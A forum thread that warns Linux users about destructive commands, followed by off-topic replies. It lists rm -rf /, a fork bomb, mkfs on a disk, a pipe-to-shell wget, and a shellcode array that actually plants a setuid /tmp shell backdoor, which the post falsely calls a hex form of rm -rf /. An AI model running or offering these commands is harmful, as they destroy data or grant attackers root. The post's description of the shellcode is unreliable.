The Deadly Linux Commands

binoyxj

PrOuD InDiAn
Joined
4 May 2008
Messages
475
Never try this commands by mistake while playing with linux terminals.Often i see people typing commands in random.

1. Code:

rm -rf /

This command will recursively and forcefully delete all the files inside the root directory.

2. Code:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

3. Code:

mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

4. Code:

:(){:|:&};:

Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

5. Code:

any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

6. Code:

wget http://untrusted_source -O- | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

7. Code:

mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.
 

assclown

OSNN Citizen Man
Joined
4 Jun 2005
Messages
80
How would you EVER randomly type any of those by accident? Also, Linux is a terrible OS, and if coders ever want it to be successful, they need to make it way more user friendly. We left command lines behind a long time ago.
 
Last edited by a moderator:

LordOfLA

Godlike!
Joined
2 Feb 2004
Messages
7,026
I don't think telling the troll not to feed himself is going to work somehow :p
 

tdinc

OSNN Veteran Addict
Political Access
Joined
6 Dec 2003
Messages
3,508
lets keep this topic on track if you continue discussion.

thanks
 

assclown

OSNN Citizen Man
Joined
4 Jun 2005
Messages
80
As this is a command line post, i had problems getting my laptop to update drivers. I am very new. it is Kubuntu 8.10. I was in Adept but did not see anything for Intel. Is there a way i can manually tell it where to look online? i think i found a link that looks like it should work.
 

X-Istence

*
Political Access
Joined
5 Dec 2001
Messages
6,498
FreeBSD 7.x protection was added against rm -rf /, mainly because certain administrators wrote shell scripts as such:

rm -rf $PATH/$DIRECTORY

What if both $PATH and $DIRECTORY are empty?

That being said, all of those commands are only "deadly" when run by a super user, besides the moving your home folder into /dev/null. Then again, that is just retarded.
 

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